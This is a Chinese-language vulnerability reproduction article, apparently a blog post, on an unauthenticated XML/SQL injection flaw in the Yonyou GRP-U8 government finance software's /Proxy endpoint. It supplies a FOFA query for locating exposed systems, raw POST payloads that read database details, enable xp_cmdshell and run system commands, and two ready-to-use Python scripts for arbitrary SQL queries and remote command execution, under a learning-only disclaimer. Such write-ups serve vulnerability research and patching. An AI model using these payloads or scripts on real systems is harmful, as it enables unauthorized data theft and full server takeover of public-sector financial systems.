用友 GRP-U8 Proxy XXE-SQL注入漏洞

简介: 用友 GRP-U8 Proxy XXE-SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息,具体复现操作请看下文。

声明


请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、漏洞详情


用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。

image.png

二、漏洞描述


该漏洞源于应用程序解析XML输入时没有禁止外部实体的加载,导致可加载恶意外部文件。最终产生两种后果,一是可以进行SQL注入,执行SQL语句;二是导致命令执行,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

用友 GRP-U8 Proxy 接口存在 SQL 注入漏洞,攻击者通过漏洞可以获取服务器权限。


FOFA:title="GRP-U8" 或 title="用友 GRP-U8 行政事业内控管理软件"

三、利用条件


  • 无需登录


四、漏洞POC


POST /Proxy HTTP/1.1

Accept: *

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)

Host: {{Hostname}}

Content-type: application/x-www-form-urlencoded

Content-Length: 349

Connection: close


//查询数据库版本(MSSQL),并回显

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><

DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><P

ARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA>

</PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select @@version</DATA><

/PARAM></PARAMS> </R9FUNCTION></R9PACKET>

//查询当前数据库名称

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><

DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><P

ARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA>

</PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select db_name()</DATA><

/PARAM></PARAMS> </R9FUNCTION></R9PACKET>


以POST方式发送如下几个Payload,开启 xp_cmdshell 操作,查询到当前数据库名称后,第一个包需要修改当前库名


cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><

DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA

RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></

PARAM><PARAM><NAME>Data</NAME><DATA format="text">use master</DATA></PARAM></

PARAMS></R9FUNCTION></R9PACKET>

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><

DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA

RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></

PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'show adv

anced options',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><

DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA

RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></

PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM><

/PARAMS></R9FUNCTION></R9PACKET>

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><

DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA

RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></

PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'xp_cmdsh

ell',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><

DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA

RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></

PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM><

/PARAMS></R9FUNCTION></R9PACKET>

//执行dir命令

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><

DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA

RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></

PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell "dir"</DAT

A></PARAM></PARAMS></R9FUNCTION></R9PACKET>


上面几个POC大概意思就是开启xp_cmdshell指令并刷新配置


USE master

EXEC sp_configure 'show advanced options',1 //启用xp_cmdshell的高级配置 RECONFIGURE --刷新配置

RECONFIGURE //先执行一次刷新,处理上次的配置

EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell,可以调用SQL系统 之外的命令

RECONFIGURE //刷新配置


五、利用脚本


GRP-U8_SQLinjection_POC


#!/usr/bin/env python2

#coding:utf-8

import re

import requests

import sys

reload(sys)

sys.setdefaultencoding('utf-8')

if len(sys.argv) != 3:

   print "Usage: python poc.py url sql"

   sys.exit(1)

url = sys.argv[1]

sql = sys.argv[2]

headers = {

"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",

"Content-Type":"application/x-www-form-urlencoded",

}

def poc(url,sql):

url = url + '/Proxy'

print url

data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">'+sql+'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'

res = requests.post(url,headers=headers,data=data)

res = res.text

result_row = r'<ROW COLUMN1="(.*?)"'

ROW = re.findall(result_row,res,re.S | re.M)

print '查询成功!'

print ROW[0]

if __name__ == "__main__":

   poc(sys.argv[1],sys.argv[2])


GRP-U8_SQLinjection_EXP


#!/usr/bin/env python2

#coding:utf-8

import re

import requests

import sys

reload(sys)

sys.setdefaultencoding('utf-8')

if len(sys.argv) != 3:

   print "Usage: python exp.py url cmd"

   sys.exit(1)

url = sys.argv[1]

cmd = sys.argv[2]

headers = {

"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",

"Content-Type":"application/x-www-form-urlencoded",

}

def exp(url,cmd):

url = url+ '/Proxy'

print url

data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell \''+cmd+'\'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'

res = requests.post(url,headers=headers,data=data)

res = res.text

result_row = r'<ROW output="(.*?)" />'

ROW = re.findall(result_row,res,re.S | re.M)

print '命令执行成功!'

for i in range(len(ROW)):

 print ROW[i]

if __name__ == "__main__":

   exp(sys.argv[1],sys.argv[2])


六、漏洞代码分析


可参考文章:https://baijiahao.baidu.com/s?id=1681131145841849209&wfr=spider&for=pc

目录
相关文章
|
2月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
130 5
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
67 5
|
1月前
|
SQL 运维 安全
怎样可以找到SQL漏洞:技巧与方法详解
SQL漏洞,特别是SQL注入漏洞,是Web应用中常见的安全威胁之一
|
2月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
117 1
|
2月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
47 1
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
47 3
|
2月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
87 6
|
2月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
51 5
|
2月前
|
SQL 安全 数据库
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
358 1
|
2月前
|
SQL 安全 前端开发
Web安全-SQL注入漏洞
Web安全-SQL注入漏洞
23 0